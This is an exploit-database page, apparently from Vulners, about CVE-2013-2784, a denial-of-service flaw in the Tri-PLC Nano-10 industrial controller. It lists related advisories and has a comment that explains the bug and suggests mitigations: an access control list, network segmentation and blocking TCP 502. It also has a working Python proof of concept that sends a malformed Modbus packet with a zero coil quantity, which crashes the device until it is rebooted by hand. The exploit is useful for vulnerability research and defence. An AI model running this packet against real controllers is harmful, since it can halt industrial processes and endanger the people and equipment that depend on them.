Lucene search
K

Tri-PLC Nano-10 r81 - Denial of Service

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 30 Views

Tri-PLC Nano-10 r81 DoS due to Modbus packet flaw, potential vulnerability in write functions, mitigation through Modbus access control list and TCP 502 blockin

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Tri-PLC Nano-10 r81 - Denial of Service
13 Jul 201300:00
zdt
CVE
CVE-2013-2784
10 Jul 201322:00
cve
Cvelist
CVE-2013-2784
10 Jul 201322:00
cvelist
Exploit DB
Tri-PLC Nano-10 r81 - Denial of Service
13 Jul 201300:00
exploitdb
exploitpack
Tri-PLC Nano-10 r81 - Denial of Service
13 Jul 201300:00
exploitpack
ICS
Triangle Research Nano 10 PLC Denial of Service
10 Apr 201306:00
ics
NVD
CVE-2013-2784
10 Jul 201322:55
nvd
Packet Storm
Tri-PLC Nano-10 r81 Denial Of Service
14 Jul 201300:00
packetstorm
Prion
Out-of-bounds
10 Jul 201322:55
prion
RedhatCVE
CVE-2013-2784
22 May 202501:15
redhatcve
Rows per page

                                                # Exploit Title: Tri-PLC Nano-10 DoS
# Date: 07/11/2013
# Exploit Author: Sapling
# Vendor Homepage: www.tri-plc.com
# Version: Firmware Version r81 and prior
# CVE : CVE-2013-2784
# ICSA: ICSA-13-189-02

/* The vulnerability exists due to a flaw in the PLC's ability to handle a
Modbus packet with the bit quantity of coils set to 0. When sending this
malformed packet the device crashes and fails to recover without manual
intervention. Once an engineer manually reboots the device it will recover
from the crash. In order to minimize the risk of this attack the Modbus
access control list can be used to limit the ip addresses that can connect
to the device. Additionally, limiting this device to segmented internal
networks is advised and blocking port TCP 502 at the gateway.
Note: I believe the device is also vulnerable to the same vulnerability
when executing write's as well but as most write functions are going to be
limited on devices or at least more so than reads would be.
Finally, I take no responsibility for the how or where you use this proof
of concept code and remind you to be responsible. */


# Python proof of concept
# For those more interested in the value meanings:
# Starting form the \x06 bit and down being the more important pieces
# \x06 length
# \x01 unit id
# \x01 function code (read coils)
# \x00\x00 start address
# \x00\x00 coil quantity


import sys
import socket

new = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
new.connect(('192.168.1.12', 502)) #Change the IP address to your PLC IP
Address
new.send('\x00\x01\x00\x00\x00\x06\x01\x01\x00\x00\x00\x00')

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation